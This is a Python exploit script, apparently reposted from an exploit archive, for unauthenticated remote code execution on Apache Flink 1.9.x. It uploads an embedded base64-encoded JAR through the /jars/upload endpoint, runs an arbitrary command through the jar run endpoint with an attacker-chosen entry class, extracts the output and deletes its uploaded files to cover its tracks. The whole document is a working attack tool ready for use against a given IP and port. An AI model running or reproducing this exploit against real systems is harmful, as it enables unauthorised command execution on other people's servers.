Share
## https://sploitus.com/exploit?id=PACKETSTORM:159779
#!/usr/bin/env python3  
# _*_ coding: utf-8 _*_  
  
# Exploit Title: Apache Flink 1.9.x - File Upload RCE (Unauthenticated)  
# Google Dork: None  
# Date: 2020.11.01  
# Exploit Author: bigger.wing  
# Vendor Homepage: https://flink.apache.org/  
# Software Link: https://flink.apache.org/downloads.html  
# Version: 1.9.x  
# Tested on: Centos7.x, 1.9.1  
# CVE: None  
  
import io  
import re  
import sys  
import base64  
import requests  
  
  
class FlinkRCECheck:  
  
def __init__(self, url):  
self.url = url  
self.timeout = 10  
self.upload_file = 'rce_check_from_sec.jar'  
self.headers = {  
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) '  
'Chrome/61.0 Safari/537.36'  
}  
  
@property  
def get_version(self):  
url = '%s/%s' % (self.url, 'config')  
try:  
res = requests.get(url, headers=self.headers, timeout=self.timeout, verify=False)  
version = res.json().get('flink-version')  
except:  
version = 'unknown'  
return version  
  
@property  
def jar_check(self):  
url = '%s/%s' % (self.url, 'jars')  
jar_list = []  
try:  
res = requests.get(url, headers=self.headers, verify=False, timeout=self.timeout)  
if res.status_code == 200 and 'application/json' in res.headers.get('Content-Type', ''):  
res = res.json()  
for file in res['files']:  
if file['id'].endswith(self.upload_file):  
jar_list.append(file['id'])  
except Exception as e:  
pass  
  
return jar_list  
  
@property  
def jar_upload(self):  
url = '%s/%s' % (self.url, 'jars/upload')  
jar_content = base64.b64decode('UEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My'  
'0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALg'  
'AAAFBLAwQKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAE1FVEEtSU5GL1BLAwQUAAgICAAidW1PAAA'  
'AAAAAAAAAAAAADQAAAEV4ZWN1dGUuY2xhc3ONVet2E1UU/k4yyUwmQy+TQlsQBdSStqSxiIotIlAK'  
'VkJbSa0G8DKZHpPTJjNhLjTVCvoQ/ugT8MsfqCtx0aUPwEOx3Gdo09KGtUzW7H3O3vvbt7PPzPMXz'  
'/4FMIlfdbyDyxo+1XBFx1Vc05HCjIbrks+quKHipobPNMzp0PC5hlsqChpu6+jBvCQLGhal6gsVd3'  
'QUsaRjAF9qWJb8K0m+lqQkyd0URbin4r6OkzLoN5J/K8l3Or6HpaKswmZIXhKOCC4zxLOjywzKjLv'  
'CGXoLwuHzYb3MvSWrXCOJWXBtq7ZseULud4RKUBU+Q6ow2+R2GPBpEtUt4TAcy94rrFoPrXzNcir5'  
'YuAJpzItA7AGw/F9qkXPtbnvXwtFbYV75CDeCDZkuENo8m15FQqX6eKaHLuEtesrtJI2h0NIG7ujC'  
'QNRyxdty3GiqPps0+aNQLiOr4J86EU39Gx+Q8gyjZ3yJiTSwLsYYQCD6voTjlXnKriBH1AxUIWgJN'  
'aFY2AVawxDr6uToe9gCeSPsp/gTQoYy9syTI5k+bJw8n6VkogAws2/zCkVKcqWX5WWNQN1UNtjOQK'  
'6oB73H6pSxQMDHnxpH5Dp/asGQjw0sA7KtwlhYAMjBn7ETwyDB9PrJB7fvLJpYBM/G3gEoeKxgV9Q'  
'o0x3mvRKaQvlVW5TsMyeqNPoV3uw4Qe8zpCu8IBa1eCenIKRbJch6nb46cAtuOvcm7F8SmAg29VIs'  
'10noOmk8Tix3/FM1fKK/EHIHZtPj95lONotLM1ukjeFH/jRXSGzhB9YXiDNR7tOW/8hIUMP1TfnNM'  
'KA3HKLCh7cBdPJ7lMQfCjbVSETMUKfX+c1UReBPJKzr2/TgTFXq5Y/z5uUtOJELGHXXNmyuBvKSjo'  
'RF8nJXipJq9HgDl2L3P86kL3LrAXu7nRnurim+A25w2m8Te9G+YvRxaILRvQs7fLE6a4hMdYGexqp'  
's0STkZBhlKjx0gBjGCeewjnkyIrAbInskiT7y4wVxuLnb5vxv6G0kDCTLahbOLUNrZT8B6lS3NSLJ'  
'cVMF0uJc8U2jPknuGAemVK20VMye9voa6F/C6rZK0W7mGFFYswOJtdCRuoHSsMU5Ggbx8zBFoamEs'  
'OJFoa3kJb8+BMo4wW5OvEH3tjGyVIbb5pvtXBqnJ5o0cLpFs7s1fohjhCN01+BSvUMEr1AdV6Ejpt'  
'I4xbpOXqxhj66kP34DSb+RCbqzR36WEwScoIaGSdEDu/RXpE9wXm8H/l9St4m5dsMv+MDWsXI28IO'  
'Yg1zFP8jQjwifhEfU5+nCKWQ/TQ9l6IsP/kPUEsHCEEOnKXWAwAA4gYAAFBLAQIUABQACAgIACJ1b'  
'U+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAAAAAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSw'  
'ECCgAKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAB2AAAATUVUQS1JTkYvUEsBAhQ'  
'AFAAICAgAInVtT0EOnKXWAwAA4gYAAA0AAAAAAAAAAAAAAAAAnQAAAEV4ZWN1dGUuY2xhc3NQSwUG'  
'AAAAAAMAAwC4AAAArgQAAAAA')  
files = {'jarfile': (self.upload_file, io.BytesIO(jar_content), 'application/octet-stream')}  
  
try:  
res = requests.post(url, headers=self.headers, files=files, timeout=self.timeout, verify=False)  
file_id = res.json()['filename'].split('/')[-1]  
return file_id  
except Exception as e:  
res = False  
return res  
  
@property  
# delete history jar packages  
def jar_delete(self):  
for jar_name in self.jar_check:  
url = '%s//jars/%s' % (self.url, jar_name)  
try:  
requests.delete(url=url, headers=self.headers, timeout=self.timeout, verify=False)  
except:  
pass  
return  
  
def rce(self, command):  
jar_file = self.jar_upload  
try:  
execute_cmd_url = '%s/jars/%s/run?entry-class=Execute&program-args="%s"' % (self.url, jar_file, command)  
res = requests.post(url=execute_cmd_url, headers=self.headers, timeout=self.timeout, verify=False)  
res = re.findall('\|@\|(.*?)\|@\|', res.text)[0][0:-2]  
if res:  
print('rce command "%s" exec result: %s' % (command, res))  
state = 1  
msg = '%s rce success' % self.url  
else:  
state = 0  
msg = '%s rce failed' % self.url  
except:  
state = 0  
msg = '%s rce failed' % self.url  
  
delete = self.jar_delete  
  
return {'state': state, 'version': self.get_version, 'msg': msg}  
  
  
if __name__ == '__main__':  
usage = 'python3 script.py ip port command'  
if len(sys.argv) != 4:  
print('simple usage: %s' % usage)  
else:  
ip = sys.argv[1]  
port = sys.argv[2]  
command = sys.argv[3]  
url = 'http://%s:%s' % (ip, port)  
res = FlinkRCECheck(url=url).rce(command=command)  
print(res)